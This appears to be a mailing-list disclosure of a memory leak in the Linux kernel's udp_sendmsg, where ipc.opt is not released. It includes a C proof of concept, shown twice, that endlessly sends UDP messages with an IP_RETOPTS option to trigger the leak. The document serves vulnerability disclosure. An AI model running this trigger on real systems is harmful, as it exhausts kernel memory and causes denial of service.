In the process of learning Linux source code, I found a bug。In some versions, 
he can cause memory leaks, such as 3.10.108, 4.12.14, 3.19.8. Among them, 3.10 
is the main line version。The ipc.opt object in the udp_sendmsg function may not 
be released resulting in a memory leak.Although I found that some other 
versions have fixed this problem, I did not pay special attention to seeing 
this vulnerability in the kernel vulnerability list, so I still submitted this 
bug.

Quan luo   360 ESG Codesafe Team ,罗权  360企业安全集团代码卫士团队


 




#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#define HELLO_WORLD_SERVER_PORT    6666
#define LENGTH_OF_LISTEN_QUEUE 1
#define BUFFER_SIZE 1024
#define FILE_NAME_MAX_SIZE 512
#define SERVER_PORT 8888
#define BUFF_LEN 512
#define SERVER_IP "172.0.5.182"
#define SOL_IP        0
#define IP_RETOPTS    7
#define    IPOPT_CONTROL        0x00
#define IPOPT_COPY        0x80
#define IPOPT_LSRR    (3 |IPOPT_CONTROL|IPOPT_COPY)
#define MAXLINE   256
#define MAX_MMSG_NUM 10
//#define CMSG_ALIGN(len) ( ((len)+sizeof(long)-1) & ~(sizeof(long)-1) )

//#define CMSG_DATA(cmsg)    ((void *)((char *)(cmsg) + 
CMSG_ALIGN(sizeof(struct cmsghdr))))
int send_opt(int fd1){
   
   
    int clifd;
    struct sockaddr_in ser_addr;
    char buf[BUFF_LEN] = "TEST UDP MSG!\n";
    char option[41]="\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08";
    struct msghdr  msg;
     //struct sockaddr_un servaddr ;
    struct iovec iov  ;
     struct cmsghdr *cmptr; 
     char buf_con[CMSG_SPACE(11)];
         int  fd ;
    char* p;
clifd=fd1;
   
    //clifd = socket(AF_INET, SOCK_DGRAM, 0);
    //if(clifd < 0)
     //{
         //printf("create socket fail!\n");
         //return -1;
     //}
    ser_addr.sin_family = AF_INET;
    //ser_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
    ser_addr.sin_addr.s_addr = htonl(INADDR_ANY);//0;  //注意网络序转换
    ser_addr.sin_port = htons(SERVER_PORT);  //注意网络序转换
    iov.iov_base =(void*)buf;
    iov.iov_len = MAXLINE;
   
    msg.msg_namelen =sizeof(ser_addr);
    msg.msg_name=&ser_addr;
    msg.msg_iovlen =1;
    msg.msg_iov =&iov;
     /*cmptr = CMSG_FIRSTHDR(&msg); 
     cmptr->cmsg_level = SOL_IP;   
     cmptr->cmsg_type = IP_RETOPTS;
    //msg.msg_control=option;
    //msg.msg_controllen =9;
    CMSG_DATA(cmptr) = option;
    //cmptr->cmsg_level = SOL_SOCKET; 
    cmptr->cmsg_len = CMSG_LEN(9); */
    msg.msg_control = buf_con;
    msg.msg_controllen = sizeof(buf_con);
    cmptr=CMSG_FIRSTHDR(&msg);
    cmptr->cmsg_level = SOL_IP;
    cmptr->cmsg_type = IP_RETOPTS;
    cmptr->cmsg_len = CMSG_LEN(11);
    p=CMSG_DATA(cmptr);
    memcpy(p,option,11);
    sendmsg(clifd, &msg, 0);
    printf("ok\n");
    return 0;
}






int main()
{
    int clifd = socket(AF_INET, SOCK_DGRAM, 0);
    if(clifd < 0)
     {
         printf("create socket fail!\n");
         return -1;
     }
    while(1)
    {
        send_opt(clifd);
    }
   
    return 0;
}





#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>  
#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <netdb.h> 
#include <string.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <time.h> 
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#define HELLO_WORLD_SERVER_PORT    6666 
#define LENGTH_OF_LISTEN_QUEUE 1
#define BUFFER_SIZE 1024
#define FILE_NAME_MAX_SIZE 512
#define SERVER_PORT 8888
#define BUFF_LEN 512
#define SERVER_IP "172.0.5.182"
#define SOL_IP          0
#define IP_RETOPTS      7
#define IPOPT_CONTROL           0x00
#define IPOPT_COPY              0x80
#define IPOPT_LSRR      (3 |IPOPT_CONTROL|IPOPT_COPY)
#define MAXLINE   256
#define MAX_MMSG_NUM 10
//#define CMSG_ALIGN(len) ( ((len)+sizeof(long)-1) & ~(sizeof(long)-1) )

//#define CMSG_DATA(cmsg)       ((void *)((char *)(cmsg) + 
CMSG_ALIGN(sizeof(struct cmsghdr))))
int send_opt(int fd1){
        
        
        int clifd;
        struct sockaddr_in ser_addr;
        char buf[BUFF_LEN] = "TEST UDP MSG!\n";
        char option[41]="\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08";
        struct msghdr  msg;
         //struct sockaddr_un servaddr ; 
        struct iovec iov  ;
         struct cmsghdr *cmptr;  
         char buf_con[CMSG_SPACE(11)];
         int  fd ; 
        char* p;
clifd=fd1;
        
        //clifd = socket(AF_INET, SOCK_DGRAM, 0);
        //if(clifd < 0)
     //{
         //printf("create socket fail!\n");
         //return -1;
     //}
    ser_addr.sin_family = AF_INET;
    //ser_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
    ser_addr.sin_addr.s_addr = htonl(INADDR_ANY);//0;  //注意网络序转换
    ser_addr.sin_port = htons(SERVER_PORT);  //注意网络序转换
        iov.iov_base =(void*)buf;
        iov.iov_len = MAXLINE;
        
        msg.msg_namelen =sizeof(ser_addr);
        msg.msg_name=&ser_addr;
        msg.msg_iovlen =1;
        msg.msg_iov =&iov;
         /*cmptr = CMSG_FIRSTHDR(&msg);  
         cmptr->cmsg_level = SOL_IP;    
         cmptr->cmsg_type = IP_RETOPTS; 
        //msg.msg_control=option;
        //msg.msg_controllen =9;
        CMSG_DATA(cmptr) = option; 
        //cmptr->cmsg_level = SOL_SOCKET;  
        cmptr->cmsg_len = CMSG_LEN(9); */
        msg.msg_control = buf_con;
        msg.msg_controllen = sizeof(buf_con);
        cmptr=CMSG_FIRSTHDR(&msg);
        cmptr->cmsg_level = SOL_IP; 
        cmptr->cmsg_type = IP_RETOPTS; 
        cmptr->cmsg_len = CMSG_LEN(11);
        p=CMSG_DATA(cmptr);
        memcpy(p,option,11);
        sendmsg(clifd, &msg, 0);
        printf("ok\n");
        return 0;
}






int main()
{
        int clifd = socket(AF_INET, SOCK_DGRAM, 0);
        if(clifd < 0)
     {
         printf("create socket fail!\n");
         return -1;
     }
        while(1)
        {
                send_opt(clifd);
        }
        
        return 0;
}

Reply via email to